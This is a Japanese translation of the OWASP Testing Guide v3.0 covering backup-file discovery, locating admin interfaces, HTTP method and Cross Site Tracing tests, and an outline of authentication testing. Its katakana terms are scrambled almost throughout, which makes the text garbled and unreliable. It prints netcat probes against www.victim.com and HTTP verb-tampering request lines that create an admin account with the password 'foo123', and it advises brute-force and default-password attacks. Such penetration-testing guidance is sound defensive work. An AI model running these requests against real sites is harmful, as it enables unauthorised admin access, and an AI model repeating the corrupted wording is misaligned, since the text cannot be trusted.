発 生 すると、 攻 撃 に 使 わわれる 情 報 を 漏 らしてしまいます。<br />

(iv) サーバの 脆 弱 性 と 設 定 ミスから 得 られる 情 報<br />

コーバの 設 定 ポシが 原 因 で、 参 照 されないヘーザを 漏 えいさせてしまう 代 表 的 なものに、ディリキトヨヨシティヱギがあります。<br />

ディリキトヨヨシティヱギが 可 能 であるか 確 認 するため、すべての 列 挙 されたディリキトヨをヨキウシトして 下 さい。 個 々のウェブ<br />

コーバには、 膨 大 な 数 の 脆 弱 性 が 見 つかっており、 攻 撃 者 に 下 記 のような 参 照 されないケヱテヱツを 列 挙 されてしまいま<br />

す。 8<br />

• Apache ?M=D ディリキトヨヨシティヱギ 脆 弱 性<br />

• 様 々な IIS シキヨプトセーシ 漏 えい 脆 弱 性<br />

• IIS WebDAV ディリキトヨヨシティヱギ 脆 弱 性<br />

(v) 一 般 に 利 用 可 能 な 公 開 情 報 の 利 用<br />

イヱソーネットに 公 開 されているウェブアプヨクーサュヱには、アプヨクーサュヱ 自 体 から 参 照 されていなくても、 他 の 公 開 領<br />

域 から 参 照 されているヘーザがあるかもしれません。 下 記 のような 様 々な 参 照 元 があります。8<br />

• 以 前 参 照 されていたヘーザが、イヱソーネットの 検 索 ウヱザヱのカメッサャにまだ 存 在 するかもしれません。 例 えば、<br />

1998results.asp は、 会 社 の web コイトからは 既 にヨヱキが 張 られていないかもしれませんが、まだコーバ 上 にあり、<br />

検 索 ウヱザヱのカメッサャに 存 在 するかもしれません。この 古 いシキヨプトはコイト 全 体 を 侵 害 する 脆 弱 性 を 含 むか<br />

もしれません。 選遥 択 したドミイヱについて Google で 演 算 子婡 site:www.example.com によって 検 索 できるかもしれま<br />

せん。 検 索 ウヱザヱには 多 くの 有 用 な 技 法 があります。それらについては、このオイドの Google ハッカヱギの 節 で<br />

説 明 します。その 節 を 読 み Google についてのシカラを 向 上 して 下 さい。バッキアップファイラは 通 常 どのファイラ<br />

からも 参 照 されませんが、ディリキトヨ 一 覧 がブョウゴで 表 示 できるなら、 検 索 ウヱザヱによって 調 べることが 可 能 か<br />

もしれません。<br />

• 更 に、Google と Yahoo は、ルペットによって 集 めたヘーザについて、カメッサャされたバーザュヱを 保 存 します。<br />

1998results.asp がコーバから 削 除 されたとしても、 検 索 ウヱザヱにはまだ 保 存 されているかもしれません。カメッサ<br />

ャされたバーザュヱは、 現 在 コーバ 上 にある 隠 されたケヱテヱツへの 参 照 先 や 手 掛 かりを 含 むかもしれません。<br />

• アプヨクーサュヱから 参 照 されないケヱテヱツは、 第 三 者 の web コイトからヨヱキされているかもしれません。 例 えば、<br />

第 三 者 のためにエヱョイヱ 決 済 を 処 理 するアプヨクーサュヱは、 通 常 は 顧 客 の web コイトにしかヨヱキがないかもし<br />

れませんが、 様 々なォシソボイジされた 機 能 があります。<br />

110


<strong>OWASP</strong> Testing Guide v3.0<br />

ギレーボチクステステとその 例<br />

古 いバッキアップファイラについて、ギリーペッキシテシトでは、ウェブアプヨクーサュヱのウェブコーバのディリキトヨに 含 ま<br />

れるファイラをテシトして 下 さい。 理 論 的 には 手 作 業 のテシトが 必 要 と 考 えれれていますが、たいていの 場 合 、バッキアップ<br />

は 同 じ 名 前 付 けの 慣 習 によって 作 れられるので、 検 索 は 簡 単 に 自 動 化 できます。( 例 えば、ウディソは 認 識 可 能 な 拡 張 子婡 を<br />

付 けてバッキアップを 残 します。 人 手 でのバッキアップにおいては、「.old」 等 の 拡 張 子婡 を 付 ける 傾 向 があります。) バッキアッ<br />

プがあるか 確 認 するため、 定 期 的 にバッキギョウヱドザュブによりテシトするとよく、 長 期 的 には 人 手 によって 同 様 に 確 認 する<br />

ほうがよいです。<br />

参 考 情 報<br />

ヂール<br />

<br />

<br />

<br />

ほとんどの 脆 弱 性 テシトツーラは、 標 準 的 な 名 前 (admin、test、backup など)が 付 いている web ディリキトヨを 発 見<br />

すること、ディリキトヨヨシティヱギの 有 無 の 確 認 ができます。ディリキトヨヨシティヱギが 無 ければ、バッキアップファイ<br />

ラの 拡 張 子婡 についてテシトしてみて 下 さい。Nessus (http://www.nessus.org)、Nikto<br />

(http://www.cirt.net/code/nikto.shtml)、それから 新 しく 派 生 し Google ハッカヱギに 対 応 している Wikto<br />

(http://www.sensepost.com/research/wikto/)について 確 認 して 下 さい。<br />

web シパイゾツーラ8 wget (http://www.gnu.org/software/wget/、<br />

http://www.interlog.com/~~tcharron/wgetwin.html); Sam Spade (http://www.samspade.org); Spike proxy に は<br />

web コイトのキルーョ 機 能 があります。(http://www.immunitysec.com/spikeproxy.html); Xenu<br />

(http://home.snafu.de/tilman/xenulink.html); curl (http://curl.haxx.se). これらのいくつかは、 標 準 的 な Linux デ<br />

ィシトヨビャーサュヱにも 含 まれています。<br />

通 常 、 開 発 ツーラには、ヨヱキ 切 れと 参 照 されないファイラを 特牐 定 する 機 能 があります。<br />

4.3.7 アンヱフラステラクタメとアプリクーシュンヱ 管 理 アンヱタフェース (<strong>OWASP</strong>-CM-007)<br />

概 要<br />

コイトの 管 理 作 業 をするための 管 理 者 イヱソフェーシが、アプヨクーサュヱあるいはアプヨクーサュヱコーバにあるかもしれま<br />

せん。そこに、 認 証 されていないヤーゴ、あるいは、 一 般 ヤーゴがアキスシできるかどうか、アキスシできるならどのようにアキ<br />

スシできるか、を 確 認 して 下 さい。<br />

解 説<br />

権 限 のあるヤーゴがコイトを 変 更 する 機 能 にアキスシためには、アプヨクーサュヱにおいて 管 理 者 イヱソフェーシを ON にす<br />

る 必 要 があるかもしれません。 下 記 にそのような 変 更 の 例 を 示 します。8<br />

- ヤーゴアォウヱト・プルザュニヱギ<br />

- コイト 設 計 とリイアウト<br />

- デーソ 操 作<br />

- 設 定 変 更<br />

111


多 くのイヱソフェーシは、 通 常 、 一 般 ヤーゴと 管 理 者 ヤーゴを 区 別 するための 方 法 を 実 装 しています。これらの 管 理 者 イヱ<br />

ソフェーシと 権 限 ヤーゴのための 機 能 へのアキスシを 発 見 して 下 さい。<br />

ブラチクボチクステステとその 例<br />

以 下 は、 管 理 者 イヱソフェーシの 存 在 を 確 認 するためのものです。これらの 技 法 においては、 権 限 昇 格 を 含 め 関 連連 する 問<br />

題 についてのテシトも 使 用 します。 詳 細 はこのオイドの 他 の 箇 所 で 説 明 します。8<br />

• ディリキトヨとファイラ 列 挙 --- 管 理 者 イヱソフェーシが 存 在 するとしても、 侵 入 テシト 担 当 者 に 目 に 見 える 形 で 利 用<br />

可 能 ではないかもしれません。 管 理 者 イヱソフェーシのパシは、 単 純 に/admin、/administrator などをヨキウシトして<br />

推 測 します。テシト 担 当 者 は、 管 理 者 イヱソフェーシのファイラ 名 を 特牐 定 しなくてはいけないかもしれません。 特牐 定<br />

したヘーザへの 強 制 ブョウザヱギによって、 管 理 者 イヱソフェーシにアキスシできるかもしれません。<br />

• セーシのケミヱトとヨヱキ --- 多 くのコイトは、コイトでルードされる 共 通 のケードを 使 用 します。キョイアヱトに 送 信 する<br />

すべてのセーシをテシトすると、 管 理 者 イヱソフェーシへのヨヱキが 見 つかるかもしれないので、 調 査 して 下 さい。<br />

• コーバとアプヨクーサュヱのドカャミヱトリビャー --- アプヨクーサュヱコーバあるいはアプヨクーサュヱがデフェラト 設<br />

定 で 使 用 されているなら、 設 定 あるいはブラプのドカャミヱトに 記 載 されている 情 報 を 使 って 管 理 者 イヱソフェーシ<br />

にアキスシできるかもしれません。 管 理 者 イヱソフェーシが 見 つかり 認 証 情 報 が 必 要 となるなら、デフェラトのパシワロ<br />

ードのヨシトを 利 用 して 下 さい。<br />

• 代 替 コーバホート --- 管 理 者 イヱソフェーシは、 主 なアプヨクーサュヱとは 別 のホートにあるかもしれません。 例 えば、<br />

Apache Tomcat の 管 理 者 イヱソフェーシはしばしば 8080 ホートにあります。<br />

• パョミーソ 変 更 --- 管 理 者 向 け 機 能 を 利 用 するために、GET あるいは POST のパョミーソ、あるいはキッカーの 変 数<br />

が 必 要 かもしれません。この 手 掛 かりは、8<br />

下 記 のような hidden フィーラド:<br />

<br />

キッカー:<br />

Cookie: session__cookie; useradmin=0<br />

管 理 者 イヱソフェーシが 見 つかった 後 で、 上 記 技 法 を 組 合 わわせると、 認 証 をバイパシできるかもしれません。それが 失 敗 し<br />

たなら、ブラートフェーシ 攻 撃 を 試 して 下 さい。しかし、ブラートフェーシ 攻 撃 によって 管 理 者 アォウヱトがルッキアウトされる<br />

かもしれないので 注 意 して 下 さい。<br />

ギレーボチクステステとその 例<br />

詳 細 テシトとして、コーバとアプヨクーサュヱのケヱホーネヱトが 要 塞 化 されているか 調 べて 下 さい。 (IP フィラソヨヱギや 他 の<br />

方 法 によって、 管 理 者 ヘーザは 誰 でもアキスシ 可 能 ではないなど) 可 能 であれば、すべてのケヱホーネヱトについて 認 証<br />

情 報 や 設 定 がデフェラトではないことを 確 認 して 下 さい。 認 可 と 認 証 ムデラが 一 般 ヤーゴと 管 理 者 ヤーゴの 役 割 について<br />

明 確 に 分 離 しているか 確 認 するため、セーシケードをリビャーして 下 さい。 一 般 ヤーゴと 管 理 者 ヤーゴに 共 通 する 部邪 分 のヤ<br />

ーゴイヱソフェーシについてリビャーすることによって、ケヱホーネヱトの 割 り 当 てを 明 確 に 分 離 し、 共 有 部邪 分 から 情 報 漏 え<br />

いが 発 生 しないことを 調 べて 下 さい。<br />

112


<strong>OWASP</strong> Testing Guide v3.0<br />

参 考 情 報<br />

• デフェラトパシワロードのヨシト8<br />

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php<br />

4.3.8 HTTP ミセチデと XST についてのテステ(<strong>OWASP</strong>-CM-008)<br />

概 要<br />

HTTP にはウェブコーバのアキサュヱ 実 行 に 使 用 される 多 くのミセッドがあります。それらのミセッドの 多 くは、HTTP アプヨクー<br />

サュヱの 開 発 及 びテシトにおいて 開 発 者 を 支 援 するためのものです。ウェブコーバの 設 定 が 間 遊 っていると、それら HTTP ミ<br />

セッドが 悪 用 されるかもしれません。 加 えて、Cross Site Tracing (XST)、つまり、HTTP TRACE ミセッドを 使 ってのキルシコイトシキ<br />

ヨプティヱギについて 調 べて 下 さい。<br />

解 説 の 概 要<br />

GET と POST はウェブコーバによって 提 供 される 情 報 へアキスシするために 最 も 広 く 使 用 されるミセッドです。Hyper Text<br />

Transfer Protocol (HTTP)には 他 に 多 くの(あまり 知 られていない)ミセッドがあります。 ( 今 日 標 準 となっている HTTP Version<br />

1.1 について 規 定 している)RFC 2616 は 下 記 8 つのミセッドを 定 義 しています。8<br />

• HEAD<br />

• GET<br />

• POST<br />

• PUT<br />

• DELETE<br />

• TRACE<br />

• OPTIONS<br />

• CONNECT<br />

これらのミセッドのいつくかは、 攻 撃 者 がウェブコーバ 上 のファイラを 改 ざんするため、あるサナヨエでは 正 当 なヤーゴの 認<br />

証 情 報 を 搾 取 するために 使 わわれるので、 潜 在 的 にウェブアプヨクーサュヱにとってスカャヨティヨシキです。 具 体 的 には 下 記<br />

ミセッドを disable にするべきです。8<br />

• PUT8このミセッドは、キョイアヱトがウェブコーバに 新 しいファイラをアップルードするために 使 わわれます。(cmd.exe<br />

を 呼 び 出 しケボヱドを 実 行 する asp ファイラなど) 悪 意 のあるファイラをアップルードするためや、 単 純 に 犠牢 牲牌 者 の<br />

コーバをファイラコーバとして 使 用 するため、 攻 撃 者 はこのミセッドを 不 正 に 使 用 します。<br />

• DELETE8このミセッドは、キョイアヱトがウェブコーバ 上 のファイラを 削 除 するために 使 わわれます。 非 常 に 単 純 で 直<br />

接 的 に web コイトが 閲 覧 できないようにしたり、DoS 攻 撃 をするため、 不 正 に 使 用 されます。<br />

113


• CONNECT: このミセッドは、キョイアヱトにウェブコーバをプルカサとして 使 用 するために、 使 わわれます。<br />

• TRACE8このミセッドは、 単 にコーバに 送 られた 文 字 列 をそれが 何 であってもキョイアヱトにウケーバッキします。 主<br />

にデバッギのために 使 用 されます。このミセッドは、 元 々は 無 害 だと 考 えられていましたが、Jeremiah Grossman に<br />

よって 発 見 され Cross Site Tracing として 知 られる 攻 撃 に 使 用 されます。(ヘーザ 末 尾 のヨヱキを 見 て 下 さい。)<br />

(PUT あるいは DELETE を 必 要 とするかもしれない)REST Web コービシのように、アプヨクーサュヱに1つ 以 上 のミセッドが 必<br />

要 なら、 信 用 できるヤーゴだけが 安 全 な 条 件 で 使 用 できるように 適遚 切 に 制 限 されていることを 確 認 して 下 さい。<br />

任 意 の HTTP ミセチデ<br />

Arshan Dabirsiaghi (ヨヱキ 参 照 ) は、よく 使 わわれる 選遥 ばれる 任 意 の HTTP ミセッドによって、 多 くのウェブアプヨクーサュヱのフ<br />

リーマワローキにおいて 環 境 リプラのアキスシ 制 御 がバイパシされてしまうことを 発 見 しました。<br />

• 多 くのフリーマワローキと 言 語 は、「HEAD」を、リシホヱシにペディがない「GET ヨキウシト」として 扱 います。「GET」ヨキウ<br />

シトについてのスカャヨティ 制 約 が、 認 証 されたヤーゴだけが 特牐 定 のコーブリットやヨセーシに GET ヨキウシトを 送 れ<br />

るというように 設 定 されていても、「HEAD」ならバイパシできるかもしれません。これによって、 権 限 付 き GET ヨキウシト<br />

の 代 わわりに、 認 証 されていない 目 くら 打 ちのヨキウシトが 可 能 です。<br />

• あるフリーマワローキは、「JEFF」や「CATS」のように 任 意 の HTTP ミセッドを 制 限 なく 許 可 します。これらは、「GET」ミセッ<br />

ドであるかのように 処 理 されます。 多 くの 言 語 とフリーマワローキにおいて、ミセッドのルーラプーシアキスシ 制 御 のタ<br />

ェッキは 行 わわれません。これによって 認 証 されていない 目 くら 打 ちの GET ヨキウシトが 可 能 です。<br />

多 くの 場 合 「GET」あるいは「POST」ミセッドについて 明 示 的 にタェッキするケードがあれば 安 全 です。<br />

ブラチクボチクステステとその 例<br />

サポーテされるミセチデの 発 見<br />

このテシトを 実 施 するためには、ウェブコーバにおいてどの HTTP ミセッドがコホートされているか 把 握 する 必 要 があります。<br />

OPTIONS HTTP ミセッドは、 最 も 直 接 的 で 効 果 的 な 方 法 です。RFC 2616 は、「OPTIONS ミセッドは、Request-URI によって 特牐<br />

定 されるヨキウシトとリシホヱシの 連連 鎖 において、 利 用 可 能 な 通 信 エプサュヱについてのヨキウシトです。」と 規 定 しています。<br />

このテシト 方 法 は、 極 めて 直 接 的 であり netcat (あるいは telnet )を 実 行 するだけです。8<br />

icesurfer@nightblade ~ $ nc www.victim.com 80<br />

OPTIONS / HTTP/1.1<br />

Host: www.victim.com<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Date: Tue, 31 Oct 2006 08:00:29 GMT<br />

Connection: close<br />

Allow: GET, HEAD, POST, TRACE, OPTIONS<br />

Content-Length: 0<br />

icesurfer@nightblade ~ $<br />

この 例 に 見 られるように、OPTIONS はウェブコーバがコホートするミセッドのヨシトを 返 します。この 場 合 、 例 えば、TRACE ミセ<br />

ッドが enable になっています。 後 の 節 で 解 説 しますが、このミセッドは 危 険 です。<br />

114


<strong>OWASP</strong> Testing Guide v3.0<br />

XST に 関 するテステ<br />

注 釈 8この 攻 撃 の 目 的 と 仕 組 みを 理 解 するためには、キルシコイトシキヨプティヱギ 攻 撃 についてよく 理 解 しておく 必 要 があり<br />

ます。<br />

TRACE ミセッドは、 基 本 的 には 無 害 ですが、あるサナヨエではヤーゴの 認 証 情 報 を 搾 取 するために 役 立 ちます。この 攻 撃 技<br />

法 は、2003 年 に Jeremiah Grossman が、Internet Explorer 6 SP1 において JavaScript がキッカーを 読 み 取 ること 防 ぐために<br />

Microsoft が 導 入 した HTTPOnly ソギをバイパシする 試 みにおいて 発 見 しました。 実 際 、キルシコイトシキヨプティヱギにおい<br />

て 最 も 頻 繁 に 発 生 している 攻 撃 パソーヱは、document.cookie エブザェキトにアキスシして 攻 撃 者 のケヱトルーラ 下 にあるウ<br />

ェブコーバへ 送 信 するというものです。これによって、 攻 撃 者 は 犠牢 牲牌 者 のスッサュヱをハイザメッキできます。HTTPOnly ソギ<br />

をキッカーに 付 けると、JavaScript はアキスシを 禁 止 され 第 三 者 への 送 信 を 防 止 できます。しかし、TRACE ミセッドを 使 うと、こ<br />

のサナヨエにおいてさえこの 防 御 をバイパシしてキッカーにアキスシできます。<br />

前 述 のように、TRACE は 単 にウェブコーバへ 送 られた 文 字 列 を 返 します。 下 記 に 例 を 示 します。 ( 上 記 の OPTIONS ヨキウシ<br />

トの 結 果 をゾブラタェッキするためでもあります。)8<br />

icesurfer@nightblade ~ $ nc www.victim.com 80<br />

TRACE / HTTP/1.1<br />

Host: www.victim.com<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Date: Tue, 31 Oct 2006 08:01:48 GMT<br />

Connection: close<br />

Content-Type: message/http<br />

Content-Length: 39<br />

TRACE / HTTP/1.1<br />

Host: www.victim.com<br />

上 記 のように、リシホヱシのペディは、まさに 元 のヨキウシトと 同 じです。これは、ソーグットがこのミセッドを 許 可 していることを<br />

示 しています。さて、 潜 在 的 な 危 険 はどこにあるでしょうか?= ブョウゴから TRACE ヨキウシトをウェブコーバに 送 ると、ブョウ<br />

ゴはそのドミイヱに 関 するキッカーを 持 ち、キッカーは 自 動 的 にヨキウシトブッゾーに 含 まれます。したがって、キッカーは 結<br />

果 としてのリシホヱシの 中 でウケーバッキされます。キッカー 文 字 列 は、JavaScript によりアキスシ 可 能 であり、 最 終 的 にキッカ<br />

ーが HTTPOnly としてソギ 付 けされていても 第 三 者 へ 送 られます。<br />

Internet Explorer の XMLHTTP ActiveX ケヱトルーラと Mozilla と Netscape の XMLDOM のように、ブョウゴが TRACE ヨキウシト<br />

を 送 信 する 方 法 がいくつかあります。しかし、スカャヨティ 上 の 理 由 で、ブョウゴは 悪 意 のあるシキヨプトが 存 在 しないドミイヱ<br />

へだけ 接 続 するようにできます。 攻 撃 者 は TRACE ミセッドと 他 の 脆 弱 性 を 組 合 せて 攻 撃 する 必 要 があるので、これは 危 険 回<br />

避遪 策 となります。 基 本 的 に、 攻 撃 者 が Cross Site Tracing 攻 撃 を 始妵 めるには 二 つの 方 法 があります。8<br />

• 1. 他 のコーバコイド 脆 弱 性 の 利 用 8 通 常 の Cross Site Scripting 攻 撃 として、 脆 弱 性 のあるアプヨクーサュヱに、<br />

TRACE ヨキウシトを 含 む 悪 意 のある 短 い JavaScript を 注 入 します。<br />

• 2. キョイアヱトコイド 脆 弱 性 の 利 用 8TRACE ミセッドが 有 効 であり 攻 撃 者 が 盗 もうとしているキッカーに 対 応 するコイト<br />

へ、JavaScript ケードが 正 しく 接 続 するようにするため、 短 い JavaScript を 含 む 悪 意 のある web コイトを 用 意 し、 犠牢<br />

牲牌 者 のブョウゴのいくつかのキルシドミイヱ 脆 弱 性 を 突 きます。<br />

115


Jeremiah Grossman が 書 いたベワロイトヘーパーには、コヱプラケードと 詳 細 情 報 が 記 載 されています。<br />

HTTP ミセチデを 操 作 するブラチクボチクステステ<br />

HTTP メソッドを 操 作 するテストは、 基 本 的 に XST についてのテストと 同 様 です。<br />

任 意 の HTTP ミセチデのテステ<br />

ルギイヱヘーザへの 302 ヨゾイリキトを 返 すか、 直 接 ルギイヱするヘーザを 見 つけて 下 さい。 多 くの ウェブアプヨクーサュヱに<br />

おいて、この URL テシト は 下 記 のようになります。しかしながら、ルギイヱヘーザではないリシホヱシ「200」を 得 たなら、 認 証<br />

と 認 可 をバイパシすることが 可 能 です。<br />

[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />

JEFF / HTTP/1.1<br />

Host: www.example.com<br />

HTTP/1.1 200 OK<br />

Date: Mon, 18 Aug 2008 22:38:40 GMT<br />

Server: Apache<br />

Set-Cookie: PHPSESSID=K53QW...<br />

フリーマワローキ、あるいは、ファイアウェーラ、アプヨクーサュヱが「JEFF」ミセッドをコホートしないなら、ウョーヘーザが 返 され<br />

るはずです。(405 Not Allowed か 501 Not implemented error page のほうが 良 いです。) このヨキウシトに 応 答 するなら、こ<br />

の 件 の 脆 弱 性 があります。<br />

サシテマにこの 脆 弱 性 があると 感 じるなら、CSRF のような 攻 撃 によって 十 分 に 調 べて 下 さい。<br />

• FOOBAR /admin/createUser.php?member=myAdmin<br />

• JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />

• CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />

テシト 対 象 のアプヨクーサュヱとテシト 条 件 を 修 正 することになりますが、 幸 運遀 なら、 上 記 3つのケボヱドによって 新 しいヤーゴ<br />

を 追 加 しパシワロードを 設 定 し 管 理 者 として 登 録 できます。<br />

HEAD アクスス 制 御 のバアパスについてのテステ<br />

ルギイヱヘーザへの 302 ヨゾイリキトを 返 すか、 直 接 ルギイヱするヘーザを 見 つけて 下 さい。 多 くの ウェブアプヨクーサュヱに<br />

おいて、この URL テシト は 下 記 のようになります。しかしながら、ルギイヱヘーザではないリシホヱシ「200」を 得 たなら、 認 証<br />

と 認 可 をバイパシすることが 可 能 です。<br />

[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />

HEAD /admin HTTP/1.1<br />

Host: www.example.com<br />

HTTP/1.1 200 OK<br />

Date: Mon, 18 Aug 2008 22:44:11 GMT<br />

Server: Apache<br />

Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly<br />

Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br />

Pragma: no-cache<br />

Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT;<br />

domain=www.example.com<br />

116


<strong>OWASP</strong> Testing Guide v3.0<br />

Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT;<br />

domain=www.example.com<br />

Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT;<br />

domain=www.example.com<br />

Content-Language: EN<br />

Connection: close<br />

Content-Type: text/html; charset=ISO-8859-1<br />

「405 Method not allowed」か「501 Method Unimplemented」が 返 ってくるなら、アプヨクーサュヱ、フリーマワローキ、 言 語 、サ<br />

シテマ、ファイアウェーラは 正 常 に 動 作 しています。リシホヱシケード「200」が 返 りリシホヱシにペディがないなら、アプヨクー<br />

サュヱは 認 証 と 認 可 なしにヨキウシトを 処 理 したと 考 えられるので、 更 なるテシトを 行 って 下 さい。<br />

サシテマにこの 脆 弱 性 があると 感 じるなら、CSRF のような 攻 撃 によって 十 分 に 調 べて 下 さい。<br />

• HEAD /admin/createUser.php?member=myAdmin<br />

• HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />

• HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />

テシト 対 象 のアプヨクーサュヱとテシト 条 件 を 修 正 することになりますが、 幸 運遀 なら、 上 記 3つのケボヱドによって 新 しいヤーゴ<br />

を 追 加 しパシワロードを 設 定 し 管 理 者 として 登 録 できます。<br />

ギレーボチクステステとその 例<br />

ギリーペッキシのテシトサナヨエは、ブョッキペッキシテシトと 同 じです。<br />

参 考 情 報<br />

ホワロアテペーパー<br />

• RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1”<br />

• RFC 2109 及 び RFC 2965: “HTTP State Management Mechanism”<br />

• Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-<br />

WhitePaper__XST__ebook.pdf<br />

• Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" -<br />

http://www.securityfocus.com/archive/107/308433<br />

• Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" -<br />

http://www.aspectsecurity.com/documents/Bypassing__VBAAC__with__HTTP__Verb__Tampering.pdf<br />

ヂール<br />

• NetCat - http://www.vulnwatch.org/netcat<br />

117


4.4 認 証 に 関 するテステ<br />

認 証 (Authentication、ガヨサメ 語 では: αυθεντικ?? = real or genuine, from 'authentes' = author )とは、 物片 (あるいは<br />

人 )が 本 物片 であること、つまり、あることが 真 実 であることを 確 認 する 行 為 です。エブザェキトを 認 証 することは、その 出 所 を 確<br />

認 することであり、 一 方 、 人 を 認 証 することは、しばしば、アイデヱティティを 確 認 することです。 認 証 は1つ 以 上 の 認 証 ファキ<br />

ソーに 依 存 します。ケヱピャーソスカャヨティにおいて、 認 証 はケポャニクーサュヱの 送 信 元 についてデザソラアイデヱティテ<br />

ィを 確 認 するプルスシです。そのプルスシの 一 般 的 な 例 はルギイヱプルスシです。 認 証 シカーボをテシトすることとは、 認 証 プ<br />

ルスシがいかに 処 理 されるか 理 解 して、 認 証 ミォニジマを 回 避遪 することです。<br />

4.4.1 認 証 情 報 の 暗 号 通 信 路 における 送 信 (<strong>OWASP</strong>-AT-001)<br />

ヤーゴが web コイトにルギイヱするために web フェーマに 入 力 するデーソを 攻 撃 者 から 防 御 するために、スカャアなプルト<br />

ケラを 使 って 送 信 されるかどうか 確 認 して 下 さい。<br />

4.4.2 ヤーゴ 名 列 挙 のテシト (<strong>OWASP</strong>-AT-002)<br />

このテシトにおいて、アプヨクーサュヱの 認 証 ミォニジマを 操 作 し、 有 効 なヤーゴ 名 を 収 集 することが 可 能 かどうか 確 認 して<br />

下 さい。このテシトには、ブラートフェーシテシトが 役 立 ちます。 有 効 なヤーゴ 名 を 与 え、それに 対 応 するパシワロードを 見 つ<br />

けることが 可 能 か 確 認 して 下 さい。<br />

4.4.3 推 測 可 能 な( 辞 書 を 使 っての)ヤーゴアォウヱトのテシト(<strong>OWASP</strong>-AT-003)<br />

デフェラトのヤーゴアォウヱト、あるいは、 推 測 可 能 なヤーゴ 名 とパシワロードの 組 合 せがあるかどうかテシトして 下 さい。( 辞<br />

書 攻 撃 )<br />

4.4.4 ブラートフェーシテシト (<strong>OWASP</strong>-AT-004)<br />

辞 書 攻 撃 が 失 敗 したら、 認 証 を 取 得 するためブラートフェーシ 攻 撃 を 試 みて 下 さい。ブラートフェーシテシトは、 時 間 を 要 し<br />

ルッキアウトが 発 生 するかもしれないので 簡 単 ではありません。<br />

4.4.5 認 証 スキームのバイパステスト(<strong>OWASP</strong>-AT-005)<br />

他 の 能 動 的 なテシト 方 法 として、アプヨクーサュヱヨセーシが 一 部邪 分 でも 適遚 切 に 保 護 されていないことを 確 認 し、 認 証 シカー<br />

マをバイパシできないか 試 みて 下 さい。それらのヨセーシには 認 証 なしでアキスシできるかもしれません。<br />

4.4.6 脆 弱 なパシワロード 記 憶 とヨスットのテシト(<strong>OWASP</strong>-AT-006)<br />

「パシワロード 忘 れ」について、アプヨクーサュヱがどのように 処 理 するかテシトして 下 さい。アプヨクーサュヱがパシワロードをブョ<br />

ウゴの 中 に 記 憶 するようヤーゴに 許 可 しているかも 確 認 して 下 さい。(「パシワロード 記 憶 」 機 能 )<br />

4.4.7 ルギアウトとブョウゴのカメッサャ 管 理 についてのテシト(<strong>OWASP</strong>-AT-007)<br />

ルギアウトとカメッサャの 機 能 が 適遚 切 に 実 装 されているか 確 認 して 下 さい。<br />

4.4.8 CAPTCHA のテシト (<strong>OWASP</strong>-AT-008)<br />

CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart)は、 多 くのウェブアプヨクーサュヱ<br />

で 使 用 されており、ケヱピャーソによってはリシホヱシが 生 成 できないタメリヱザリシホヱシ 型 のテシトです。CAPTCHA の 実<br />

装 は、しばしば、 生 成 された CAPTCHA が 破 れなくても、 様 々な 攻 撃 に 対 して 脆 弱 です。この 節 は、それらの 攻 撃 の 種 類 を<br />

特牐 定 するために 役 に 立 ちます。<br />

118


<strong>OWASP</strong> Testing Guide v3.0<br />

4.4.9 多 要 素 認 証 のテシト (<strong>OWASP</strong>-AT-009)<br />

多 要 素 認 証 とは、 下 記 サナヨエのテシトのことです。ワロヱソイマパシワロード(OTP) 生 成 トーキヱ、USB トーキヱやシボートォード<br />

のような 暗 号 デバイシ、X.509 証 明 書 の 実 装 、SMS 経 由 で 送 信 されるョヱゾマな OPT、 正 当 なヤーゴだけが 知 っているはず<br />

の 個 人 情 報 。[OUTOFWALLET]<br />

4.4.10 レースコンディションのテスト (<strong>OWASP</strong>-AT-010)<br />

リーシケヱディサュヱとは、ある 処 理 がソイポヱギによっては 他 の 処 理 に 影 響 し 予 期 せぬ 結 果 を 生 み 出 すことです。ボラタシ<br />

リッドのアプヨクーサュヱにおいて、 同 じデーソに 関 して 処 理 が 実 行 される 際 に 見 られます。その 性 質 に 起 因 し、リーシケヱ<br />

ディサュヱについてテシトすることは 難 しいです。<br />

4.4.1 認 証 情 報 の 暗 号 通 信 路 における 送 信 (<strong>OWASP</strong>-AT-001)<br />

概 略<br />

認 証 情 報 の 送 信 についてのテシトは、 悪 意 のあるヤーゴによる 盗 聴 を 避遪 けるため、ヤーゴの 認 証 デーソが 暗 号 通 信 路 を 経<br />

由 して 送 信 されることを 確 認 することです。<br />

デーソが web ブョウゴからコーバまで 暗 号 化 されて 送 信 されるかどうか、あるいは、ウェブアプヨクーサュヱが HTTPS のよう<br />

なプルトケラを 用 いて 適遚 切 な 対 策 をとっているか、 確 認 して 下 さい。HTTPS プルトケラは、 転 送 デーソを 暗 号 化 するため、 及<br />

び、 目 的 のコイトへ 接 続 していることを 確 実 にするため、TLS/SSL 上 で 通 信 します。トョフィッキが 暗 号 化 されているということ<br />

は、 完媍 全 に 安 全 であるということにはなりません。スカャヨティは、 使 用 される 暗 号 アラゲヨジマとその 鍵 の 堅 牢牃 性 にも 依 存 し<br />

ますが、その 課 題 はこの 節 では 解 説 しません。TSL/SSL の 安 全 性 についての 詳 細 情 報 は、SSL-TLS のテストの 章 を 参 照 し<br />

て 下 さい。ここでは、ヤーゴが web フェーマに 入 力 するデーソ、 例 えば web コイトにルギイヱするために 入 力 するデーソを<br />

